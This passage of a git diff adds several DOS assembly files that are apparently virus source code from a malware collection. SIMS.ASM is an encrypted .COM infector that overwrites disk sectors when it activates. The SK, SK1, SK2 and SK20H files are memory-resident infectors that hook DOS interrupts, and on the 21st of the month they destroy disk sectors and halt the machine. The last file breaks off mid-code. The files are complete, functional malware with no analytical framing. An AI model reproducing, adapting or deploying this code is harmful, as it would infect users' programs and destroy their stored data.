bp,sp + mov dx,[bp+4] + mov al,2 + mov ah,3Dh ; '=' + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ds:data_10e,ax + jmp short $+2 ; delay for I/O + pop bp + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + mov bx,ds:data_10e + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jmp short $+2 ; delay for I/O + retn +sub_9 endp + + pop ss + adc al,5Ah ; 'Z' + jl $+7Bh ; Jump if < + jno $+7Eh ; Jump if not overflw + db 'kw*~yy*lsq*~y*ps~*sx*wowy|' + db 83h, 2Eh, 00h +data_2 dw 2F1h ; Data table (indexed access) + db 2Ah, 03h, 63h, 03h +data_3 dw 80h + db 58h, 58h, 00h +data_4 dw 100h +data_5 dw 29Ah +data_6 dw 4 +data_7 db 0 +data_8 db 0 + db 17h, 14h, 13h + db 'XOa]*PVK]R++**cy' + db 7Fh, 7Ch, 2Ah, 7Dh, 83h + db '}~ow*rk}*loox*sxpom~on*' + db 81h + db 's~r*~ro.' + db 00h, 17h, 14h, 13h, 73h, 78h + db 6Dh, 7Fh + db '|klvo*nomk' + db 83h, 2Ah, 79h, 70h, 2Ah, 56h + db 'OZ\Y]c*;8::6*k*' + db 80h, 73h, 7Ch, 7Fh, 7Dh, 2Ah + db 73h, 78h, 80h, 6Fh, 78h, 7Eh + db 6Fh, 6Eh, 2Ah, 6Ch, 83h, 2Eh + db 00h, 17h, 14h, 13h + db 'ZMW<*sx*T' + db 7Fh + db 'xo*yp*;CC:8**Qyyn*v' + db 7Fh, 6Dh, 75h, 2Bh, 17h, 14h + db 2Eh + db 0 +data_9 db 2Eh + db 2Eh + db 00h, 2Ah, 2Eh, 45h + db 58h, 45h, 00h + db 2Ah, 2Eh, 43h, 4Fh, 4Dh + db 0 + +seg_a ends + + + + end start diff --git a/s/SIMS.ASM b/s/SIMS.ASM new file mode 100755 index 0000000..b0d7581 --- /dev/null +++ b/s/SIMS.ASM @@ -0,0 +1,225 @@ +;ް +; ް +; METRiC BUTTLOAD of CODE GENERATOR ް +; Copyright(c) 1994 - MBC - Ver. 0.91b ް +; ް +;ް + +.MODEL TINY +.CODE + ORG 100H +ENTRY_POINT: DB 0E9H,0,0 + +DECRYPT: + MOV BP,(OFFSET HEAP - OFFSET STARTENCRYPT)/2 +PATCH_STARTENCRYPT: + MOV bp,OFFSET STARTENCRYPT +DECRYPT_LOOP: + DB 81h,46h,0 ; ADD WORD PTR [bp], xxxx +DECRYPT_VALUE DW 0 + inc bp + inc bp + DEC BP + JNZ DECRYPT_LOOP +STARTENCRYPT: + CALL NEXT +NEXT: POP BP + SUB BP,OFFSET NEXT + + LEA SI,[BP+SAVE3] + MOV DI,100H + PUSH DI + MOVSW + MOVSB + + MOV BYTE PTR [BP+NUMINFEC],17 + + MOV AH,1AH + LEA DX,[BP+NEWDTA] + INT 21H + + LEA DX,[BP+COM_MASK] + MOV AH,4EH + MOV CX,7 +FINDFIRSTNEXT: + INT 21H + JC DONE_INFECTIONS + + MOV AL,0H + CALL OPEN + + MOV AH,3FH + LEA DX,[BP+BUFFER] + MOV CX,1AH + INT 21H + + MOV AH,3EH + INT 21H + +CHECKCOM: + MOV AX,WORD PTR [BP+NEWDTA+35] + CMP AX,'DN' + JZ FIND_NEXT + + MOV AX,WORD PTR [BP+NEWDTA+1AH] + CMP AX,1430 + JB FIND_NEXT + + CMP AX,65535-(ENDHEAP-DECRYPT) + JA FIND_NEXT + + MOV BX,WORD PTR [BP+BUFFER+1] + ADD BX,HEAP-DECRYPT+3 + CMP AX,BX + JE FIND_NEXT + JMP INFECT_COM +FIND_NEXT: + MOV AH,4FH + JMP SHORT FINDFIRSTNEXT + +DONE_INFECTIONS: + JMP ACTIVATE +EXIT_VIRUS: + MOV AH,1AH + MOV DX,80H + INT 21H + RETN +SAVE3 DB 0CDH,20H,0 + +ACTIVATE: +;ް +; LITTLE FRISKIES SMOKE 'EM ROUTINE! ް +;ް +; + PROC BLISTER_LIPS + PUSH DX + MOV AL,DL + MOV CX,255 + XOR DX,DX + INT 26H + ADD SP,2 + POP DX + ENDP BLISTER_LIPS + + JMP EXIT_VIRUS + +INFECT_COM: + MOV CX,3 + SUB AX,CX + LEA SI,[BP+OFFSET BUFFER] + LEA DI,[BP+OFFSET SAVE3] + MOVSW + MOVSB + MOV BYTE PTR [SI-3],0E9H + MOV WORD PTR [SI-2],AX + ADD AX,103H + PUSH AX +FINISHINFECTION: + PUSH CX + XOR CX,CX + CALL ATTRIBUTES + + MOV AL,2 + CALL OPEN + + MOV AH,40H + LEA DX,[BP+BUFFER] + POP CX + INT 21H + + MOV AX,4202H + XOR CX,CX + CWD ; XOR DX,DX + INT 21H + + MOV AH,2CH + INT 21H + MOV [BP+DECRYPT_VALUE],DX + LEA DI,[BP+CODE_STORE] + MOV AX,5355H + STOSW + LEA SI,[BP+DECRYPT] + MOV CX,STARTENCRYPT-DECRYPT + PUSH SI + PUSH CX + REP MOVSB + + XOR BYTE PTR [BP+DECRYPT_LOOP+1],028h ; flip between add/sub + + LEA SI,[BP+WRITE] + MOV CX,ENDWRITE-WRITE + REP MOVSB + POP CX + POP SI + POP DX + PUSH DI + PUSH SI + PUSH CX + REP MOVSB + MOV AX,5B5DH + STOSW + MOV AL,0C3H + STOSB + + ADD DX,OFFSET STARTENCRYPT - OFFSET DECRYPT + MOV WORD PTR [BP+PATCH_STARTENCRYPT+1],DX + CALL CODE_STORE + POP CX + POP DI + POP SI + REP MOVSB + + MOV AX,5701H + MOV CX,WORD PTR [BP+NEWDTA+16H] + MOV DX,WORD PTR [BP+NEWDTA+18H] + INT 21H + + MOV AH,3EH + INT 21H + + MOV CH,0 + MOV CL,BYTE PTR [BP+NEWDTA+15h] + CALL ATTRIBUTES + + DEC BYTE PTR [BP+NUMINFEC] + JNZ MO_INFECTIONS + JMP DONE_INFECTIONS +MO_INFECTIONS: JMP FIND_NEXT + +OPEN: + MOV AH,3DH + LEA DX,[BP+NEWDTA+30] + INT 21H + XCHG AX,BX + RET + +ATTRIBUTES: + MOV AX,4301H + LEA DX,[BP+NEWDTA+30] + INT 21H + RET + +WRITE: + POP BX + POP BP + MOV AH,40H + LEA DX,[BP+DECRYPT] + MOV CX,HEAP-DECRYPT + INT 21H + PUSH BX + PUSH BP +ENDWRITE: + +COM_MASK DB '*.?OM',0 +MACHINE DB '-=MBC=-',0 +VIRUSNAME DB 'SIMS VIRUS-1',0 +USER DB 'White Shark',0 + +HEAP: + +CODE_STORE: DB (STARTENCRYPT-DECRYPT)*2+(ENDWRITE-WRITE)+1 DUP (?) +NEWDTA DB 43 DUP (?) +NUMINFEC DB ? +BUFFER DB 1AH DUP (?) +ENDHEAP: +END ENTRY_POINT diff --git a/s/SK.ASM b/s/SK.ASM new file mode 100755 index 0000000..ea065a5 --- /dev/null +++ b/s/SK.ASM @@ -0,0 +1,428 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + mov ax,0 + mov ds,ax + mov word ptr [312h],si + push cs + pop ds + push cs + pop es + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding2 +int20h: mov ah,00h + jmp mm +int21h: STI + cmp ah,00h + jz mm + cmp ah,4ch + jz mm + cmp ah,0ffh + jz mm + jmp int1hh +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov ax,0 + mov ds,ax + cmp byte ptr [302h],0 + jz mm2 + mov byte ptr [302h],0 + jmp main +mm2: mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm5 + add dl,7Eh + mov ax,0 + mov ds,ax +mmm5: mov byte ptr [309h],dl + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0201h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + mov ax,0 + mov ds,ax + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0301h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + jnc etk6 + cmp ah,3 + jnz etk6 + jmp main +etk6: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + push cs + pop ds + mov ah,2ah + int 21h + cmp dl,21 + jnz okef + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + jmp short okep +okef: mov ax,0 + mov ds,ax + inc word ptr [310h] + cmp Word ptr [310h],02FFh + jnz et3 +okep: push cs + pop ds + mov ah,9 + mov dx,offset name + int 21h + cli + hlt +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov [edta],ES + mov [bdta],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + mov dx,offset end+7 ;DS:DX Addres of DTA + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,offset files + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,offset end+7 ;DS:DX Addres of DTA + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov [handle],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov bx,handle + push cs + pop ds + mov ah,3fh + mov dx,offset end + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,offset okey + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov bx,handle + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,offset end+7 + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,offset end + mov di,ax + mov al,0e9h + cmp cx,1a0h + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov bx,[handle] ; + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov bx,handle + mov ah,40h + mov dx,offset end + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov bx,handle + mov ah,40h + mov dx,offset okey + mov cx,end-okey + int 21h + mov bx,handle + mov ah,3eh + int 21h + mov ax,0000 + mov ds,ax + inc Word ptr [0310h] +ding: push cs + pop ds + mov ah,1ah + mov ds,[edta] + mov dx,[bdta] + int 21h + mov ax,0 + mov ds,ax + mov byte ptr [306h],0 +main: PUSH CS + POP DS + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf +int1hh nop +int1h: db (0eah) +is: dw 0 +io: dw 0 + +int13h: cli + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + push ax + mov ax,0 + mov ds,ax + pop ax + mov byte ptr [308h],ch + mov byte ptr [309h],dl + push cs + pop ds + push ax + push ds + cmp ah,03 + jz etk2 + cmp ah,05 + jnz etk3 +etk2: mov ax,0000 + mov ds,ax + inc Word ptr [310h] + cmp Word ptr [310h],02FEh + jnz etk3 + push cs + pop ds + STI + int 20h +etk3: pop ds + pop ax + STI + int 65h + pushf + push ax + mov ax,0 + mov ds,ax + cmp byte ptr [306h],0 + pop ax + jz etk4 + popf + clc + mov ax,0 + jmp short etk5 +etk4: popf +etk5: POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + db (0CAH) + db (02) + db (00) +name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' +for1: jmp ding1 +files: db '*.com',0 +ding2: mov ax,0000h + mov ds,ax + MOV BX,300H + MOV CX,4b53h + cmp [bx],cx + jz for1 + mov [bx],cx + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + mov ax,0000h + mov ds,ax + mov bx,[004ch] + mov [0194h],bx + mov cx,[004eh] + mov [0196h],cx + mov ax,0 + mov ds,ax +lenf equ word ptr ds:[312h] + mov ax,0000h + mov ds,ax + mov bx,[0084h] + mov cx,[0086h] + mov ax,0 + mov ds,ax + mov di,is-okey + add di,lenf + push cs + pop ds + mov [di],bx + mov [di+2],cx + mov ax,0 + mov ds,ax + mov si,[312h] + sub si,7 + push cs + pop ds + mov di,100h + mov cx,800h + rep movsb + mov ax,0000 + mov ds,ax + cli + mov WORD PTR [0086h],ES + mov WORD PTR [004eh],ES + mov word ptr [0082h],es + mov di,int20h-okey + add di,107h + mov WORD PTR [0080h],di + mov di,int13h-okey + add di,107h + mov WORD PTR [004ch],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di + sti +Ding1: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + mov byte ptr [302h],0 + mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm + add dl,7Eh + mov ax,0 + mov ds,ax +mmm: mov byte ptr [309h],dl + push cs + pop ds + mov ah,0ffh + int 21h +for: mov ax,0 + mov ds,ax + mov byte ptr [306h],0 + mov byte ptr [302h],1 + PUSH CS + POP DS + pop cx + mov si,100h + jmp si +handle: dw ? +edta: dw ? +bdta: dw ? +com: db 'COMMAND' +end: db (00) \ No newline at end of file diff --git a/s/SK1.ASM b/s/SK1.ASM new file mode 100755 index 0000000..18185f7 --- /dev/null +++ b/s/SK1.ASM @@ -0,0 +1,412 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + push cs + pop ds + push cs + pop es + MOV WORD PTR [LenF],SI + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding1 +int21h: STI + cmp ah,00 + jz int20h + cmp ah,4ch + jz int20h +et1: db (0eah) +is: dw 0 +io: dw 0 + +;int13h: sti +; PUSH BX +; PUSH CX +; PUSH DX +; PUSH DS +; PUSH ES +; PUSH SI +; PUSH DI +; push ax +; push ds +; cmp ah,03 +; jz etk2 +; cmp ah,05 +; jnz etk3 +;etk2: mov ax,0000 +; mov ds,ax +; inc Word ptr [310h] +; cmp Word ptr [310h],0FFEh +; jnz etk3 +; push cs +; pop ds +; int 20h +;etk3: pop ds +; pop ax +; int 65h +; cld +; mov ax,0 +; POP DI +; POP SI +; POP ES +; POP DS +; POP DX +; POP CX +; POP BX +; iret +int20h: STI + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov ah,2ah + int 21h + cmp dl,21 + jnz okef + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + jmp short okep +okef: mov ax,0 + mov ds,ax + inc word ptr [310h] + cmp Word ptr [310h],0FFFh + jnz oke +okep: push cs + pop ds + mov ah,9 + mov di,name-okey + add di,107h + mov dx,di + int 21h + cli + hlt +oke: mov ax,0 + mov ds,ax + cmp byte ptr [302h],0 + jz et3 + mov byte ptr [302h],0 + jmp main +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov di,edta-okey + add di,107h + mov [di],ES + mov [di+2],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + PUSH CS + POP DS + mov dx,dta-okey ;DS:DX Addres of DTA + add dx,107h + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,files-okey + ADD dx,107h + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,dta-okey ;DS:DX Addres of DTA + add dx,107h + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov di,handle-okey + add di,107h + mov [di],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov di,handle-okey + add di,107h + mov bx,[di] + push cs + pop ds + mov ah,3fh + mov dx,end-okey + add dx,107h + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,107h + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov di,handle-okey + add di,107h + mov bx,[di] + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,dta-okey + add ax,107h + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,end-okey + add ax,107h + mov di,ax + mov al,0e9h + cmp cx,0feh + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov di,handle-okey + add di,107h + mov bx,[di] + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov di,handle-okey + add di,107h + mov bx,[di] + mov ah,40h + mov dx,end-okey + add dx,107h + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov di,handle-okey + add di,107h + mov bx,[di] + mov ah,40h + mov dx,107h + mov cx,end-okey + int 21h + mov ah,3eh + int 21h + mov ax,0000 + mov ds,ax + inc Word ptr [0310h] + push cs + pop ds +ding: mov ah,1ah + mov di,edta-okey + add di,107h + mov ds,[di] + mov dx,[di+2] + int 21h +main: PUSH CS + POP DS + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX +int1h: DB (0EAH) +INTSH: DW (0) +INTOH: DW (0) +name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' +for1: jmp for +files: db '*.com',0 +Ding1: mov ax,0000h + mov ds,ax + mov byte ptr [302h],1 + cmp word ptr [300h],4B53h + jz for1 + mov word ptr [300h],4B53h + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + PUSH DI + mov ax,0000h + mov ds,ax +; mov bx,[004ch] +; mov [0194h],bx +; mov cx,[004eh] +; mov [0196h],cx + mov bx,[0080h] + mov cx,[0082h] + PUSH CS + POP DS + mov di,intsh-okey + add di,[lenf] + mov [di],bx + mov [di+2],cx + mov ax,0000h + mov ds,ax + mov bx,[0084h] + mov cx,[0086h] + PUSH CS + POP DS + mov di,is-okey + add di,[lenf] + mov [di],bx + mov [di+2],cx + push cs + pop ds + POP DI + mov si,[lenf] + sub si,7 + mov cx,800h + push cs + pop ds + rep movsb + mov ax,0000 + mov ds,ax + mov WORD PTR [0082h],es + mov WORD PTR [0086h],es +; mov WORD PTR [004eh],es +; mov di,int13h-okey +; add di,107h +; mov WORD PTR [004ch],di + mov di,int20h-okey + add di,107h + mov WORD PTR [0080h],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di + jmp ding3 +for: mov ax,0 + mov ds,ax + mov bx,[80h] + mov cx,[82h] + push cx + pop ds + push cx + mov di,intsh-okey + add di,107h + mov bx,[di] + mov cx,[di+2] + push cs + pop ds + mov di,v20h1-okey + add di,[lenf] + mov [di],bx + mov [di+2],cx + mov ax,0000h + mov ds,ax + mov Byte ptr [302h],0 + pop ds + mov di,INTSH-okey + add di,107h + mov bx,ding2-okey + add bx,[lenf] + mov word ptr [di],bx + mov word ptr [di+2],CS + int 20h +ding2: push cs + pop ds + mov di,v20h1-okey + add di,[lenf] + mov bx,[di] + mov cx,[di+2] + mov ax,0 + mov ds,ax + mov WORD PTR ax,[82h] + mov word ptr [302h],1 + mov ds,ax + mov di,intsh-okey + add di,107h + mov [di],bx + mov [di+2],cx +ding3: PUSH CS + POP DS + push cs + pop es + pop cx + mov si,100h + jmp si +LenF: dw ? +dta: db 256 dup (?) +handle: dw ? +edta: dw ? +bdta: dw ? +v20h1: dw ? +v20h2: dw ? +com: db 'COMMAND' +end: db (00) + \ No newline at end of file diff --git a/s/SK2.ASM b/s/SK2.ASM new file mode 100755 index 0000000..722e72c --- /dev/null +++ b/s/SK2.ASM @@ -0,0 +1,298 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + PUSH SI + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding2 +int21h: STI + cmp ah,4bh + jz mm + jmp int1hh +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov byte ptr [virusw],1 + mov ah,2ah + int 21h + cmp dl,21 + jnz et3 + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + mov ah,9 + mov dx,offset name + int 21h + cli + hlt +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov [edta],ES + mov [bdta],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + mov dx,offset end+7 ;DS:DX Addres of DTA + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,offset files + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,offset end+7 ;DS:DX Addres of DTA + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + ;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov [handle],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov bx,handle + push cs + pop ds + mov ah,3fh + mov dx,offset end + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,offset okey + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov bx,handle + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,offset end+7 + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,offset end + mov di,ax + mov al,0e9h + cmp cx,1a0h + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov bx,[handle] ; + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov bx,handle + mov ah,40h + mov dx,offset end + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov bx,handle + mov ah,40h + mov dx,offset okey + mov cx,end-okey + int 21h + mov bx,handle + mov ah,3eh + int 21h + inc Word ptr [save] +ding: push cs + pop ds + mov ah,1ah + mov ds,[edta] + mov dx,[bdta] + int 21h + mov byte ptr [virusw],0 + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf +int1hh nop +int1h: db (0eah) +is: dw 0 +io: dw 0 +int13h: cli + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + inc Word ptr [save] + cmp Word ptr [save],1000h + jnz etk3 + cli + hlt +etk3: STI + int 65h + push ax + mov ax,0 + mov ds,ax + cmp byte ptr [virusw],0 + pop ax + jz etk5 + clc + mov ax,0 +etk5: POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + db (0CAH) + db (02) + db (00) +name: db 'Virus in memory !!! $' +for1: jmp ding1 +files: db '*.com',0 +ding2: mov ax,0000h + mov ds,ax + MOV BX,300H + MOV CX,4b53h + cmp [bx],cx + jz for1 + mov [bx],cx + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + mov ax,0000h + mov ds,ax + mov bx,[004ch] + mov [0194h],bx + mov cx,[004eh] + mov [0196h],cx + MOV BX,[0084H] + MOV CX,[0086H] + push cs + pop ds + POP SI + PUSH SI + ADD SI,IS-OKEY + MOV [SI],BX + MOV [SI+2],CX + POP SI + PUSH SI + sub si,7 + mov di,100h + mov cx,800h + rep movsb + mov ax,0000 + mov ds,ax + cli + mov WORD PTR [0086h],ES + mov WORD PTR [004eh],ES + mov di,int13h-okey + add di,107h + mov WORD PTR [004ch],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di +ding1: POP SI + sti + PUSH CS + POP DS + POP CX + mov si,100h + jmp si +handle: dw ? +edta: dw ? +bdta: dw ? +VIRUSW: DB (00) +SAVE: DB (00) +end: db (00) \ No newline at end of file diff --git a/s/SK20H.ASM b/s/SK20H.ASM new file mode 100755 index 0000000..55c5893 --- /dev/null +++ b/s/SK20H.ASM @@ -0,0 +1,433 @@ +start: jmp short begin + db (00h) + db (53h) + db (4bh) + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) +begin: push cx + CALL F1 +F1: POP SI + SUB SI,09 + mov ax,0 + mov ds,ax + mov word ptr [312h],si + push cs + pop ds + push cs + pop es + cld + mov di,100h + mov cx,5 + rep movsb + jmp ding2 +int20h: mov ah,00h + jmp mm +int21h: STI + cmp ah,00h + jz mm + cmp ah,4ch + jz mm + cmp ah,0ffh + jz mm + jmp int1hh +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + mov ax,0 + mov ds,ax + cmp byte ptr [302h],0 + jz mm2 + mov byte ptr [302h],0 + jmp main +mm2: mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm5 + add dl,7Eh + mov ax,0 + mov ds,ax +mmm5: mov byte ptr [309h],dl + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0201h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + mov ax,0 + mov ds,ax + mov byte ptr ch,[308h] + mov byte ptr dl,[309h] + mov cl,01 + push cs + pop ds + mov ax,0301h + mov dh,00h + mov bx,offset end+7 + push cs + pop es + int 13h + jnc etk6 + cmp ah,3 + jnz etk6 + jmp main +etk6: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + push cs + pop ds + mov ah,2ah + int 21h + cmp dl,21 + jnz okef + mov ax,0309h + mov dx,0000h + mov cx,0001h + lea bx,[100h] + int 13h + jmp short okep +okef: mov ax,0 + mov ds,ax + inc word ptr [310h] + cmp Word ptr [310h],02FFh + jnz et3 +okep: push cs + pop ds + mov bx,offset name +et9: mov ah,[bx] + xor ah,21 + mov [bx],ah + inc bx + cmp bx,offset for1 + jnz et9 + mov ah,9 + mov dx,offset name + int 21h + cli + hlt +dinge: jmp ding +et3: push cs ;ds <- cs + pop ds + mov ah,2fh ;Dos service function ah=2FH (get DTA) + int 21h ;ES:BX Addres of current DTA + mov [edta],ES + mov [bdta],BX + mov ah,1ah ;Dos service function ah=1AH (set DTA) + mov dx,offset end+7 ;DS:DX Addres of DTA + int 21h + push cs + pop ds + MOV AH,4eH + MOV DX,offset files + mov cx,00 + INT 21H ;Dos service function ah=4EH (FIND FIRST) + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,3d02h + push cs + pop ds + mov dx,offset end+7 ;DS:DX Addres of DTA + add dx,1EH + int 21h ;Dos service function ah=3DH (OPEN FILE) + 